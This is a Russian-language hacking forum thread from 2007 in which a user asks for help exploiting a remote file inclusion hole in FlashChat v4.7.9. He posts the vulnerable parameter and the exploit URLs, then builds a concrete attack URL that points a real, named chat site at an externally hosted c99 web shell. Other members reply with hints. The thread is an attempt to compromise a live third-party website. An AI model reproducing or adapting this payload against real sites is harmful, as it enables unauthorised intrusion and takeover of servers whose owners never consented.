ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
Перезагрузить страницу Есть уязвимость в FlashChat v 4.7.9. Как использовать?
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Есть уязвимость в FlashChat v 4.7.9. Как использовать?
  #1  
Старый 12.10.2007, 10:24
Nefix
Новичок
Регистрация: 09.07.2007
Сообщений: 3
С нами: 9915534

Репутация: 0
Question Есть уязвимость в FlashChat v 4.7.9. Как использовать?
Script : FlashChat v4.7.9
Download : files.filefront.com/FlashChat+v479rar/;7192354;/fileinfo.html
--------------------------
B.Files :
connection.php >Require_once($f_cms);
common.php > Require_once($f_cms);
--------------------------
Exploits :
http://www.example.com/chat/incclasses/connection.php?f_cms=[Shell-Attack]
http://www.example.com/chat/inc/common.php?f_cms=[Shell-Attack]
-------------------------

Как я понимаю вместо [Shell-Attack] нужно вставить ссылку на шелл и он должен загрузиться на сайт с установленным чатом, но ничего не получается((( объясните плиз что я неправильно делаю... и как этой уязвимостью пользоваться
𝕏 Twitter Reddit Telegram Копировать ссылку
 

  #2  
Старый 12.10.2007, 12:19
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами: 10692266

Репутация: 3486


По умолчанию
Цитата:
Сообщение от Nefix  
Script : FlashChat v4.7.9
Download : files.filefront.com/FlashChat+v479rar/;7192354;/fileinfo.html
--------------------------
B.Files :
connection.php >Require_once($f_cms);
common.php > Require_once($f_cms);
--------------------------
Exploits :
http://www.example.com/chat/incclasses/connection.php?f_cms=[Shell-Attack]
http://www.example.com/chat/inc/common.php?f_cms=[Shell-Attack]
-------------------------

Как я понимаю вместо [Shell-Attack] нужно вставить ссылку на шелл и он должен загрузиться на сайт с установленным чатом, но ничего не получается((( объясните плиз что я неправильно делаю... и как этой уязвимостью пользоваться
Лучше скинь ссылку, я не могу понять что у тебя не получается. А то ты просто переписал багтрак.
 

  #3  
Старый 12.10.2007, 16:48
Nefix
Новичок
Регистрация: 09.07.2007
Сообщений: 3
С нами: 9915534

Репутация: 0
По умолчанию
ну допустим чат здесь: http://www.pesleague.com/forum/chat/flashchat.php
шелл здесь: http://burny.fromru.com/c99madshell.php

итоге получается http://www.pesleague.com/forum/chat/incclasses/connection.php?f_cms=http://burny.fromru.com/c99madshell.php
и как я понял получившаяся ссылка должна запустить шелл на pc-center.com.ua... но ничего не получается
или я все неправильно делаю и не так понял?
Последний раз редактировалось Nefix; 12.10.2007 в 17:05..
 

  #4  
Старый 15.10.2007, 11:33
Nefix
Новичок
Регистрация: 09.07.2007
Сообщений: 3
С нами: 9915534

Репутация: 0
По умолчанию
 

  #5  
Старый 15.10.2007, 11:57
Rebz
Флудер
Регистрация: 08.11.2004
Сообщений: 3,395
С нами: 11317286

Репутация: 3876


По умолчанию
Nefix,
а ты зайди по адресу h__p://www.pesleague.com/forum/chat/incclasses/connection.php и сам думаю догадаешься..
 

  #6  
Старый 15.10.2007, 15:25
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию
действительно объясните как юзать баги
 
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Faq о открытии некоторых моделей домофонов Vanterlog Статьи 60 11.05.2015 07:56
Документация по airodump-ng, aircrack-ng, airserv-ng, Aireplay-ng. Elvis000 Беспроводные технологии/Wi-Fi/Wardriving 4 31.10.2009 18:58
FAQ. Перед тем как задать вопрос. Fata1ex Skype, IRC, ICQ, Jabber и другие IM 1 04.11.2007 20:35
Как использовать уязвимость в usercp_avatar.php в phpBB 2.0.11/20 Kitj@rik Уязвимости CMS / форумов 0 11.06.2006 12:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.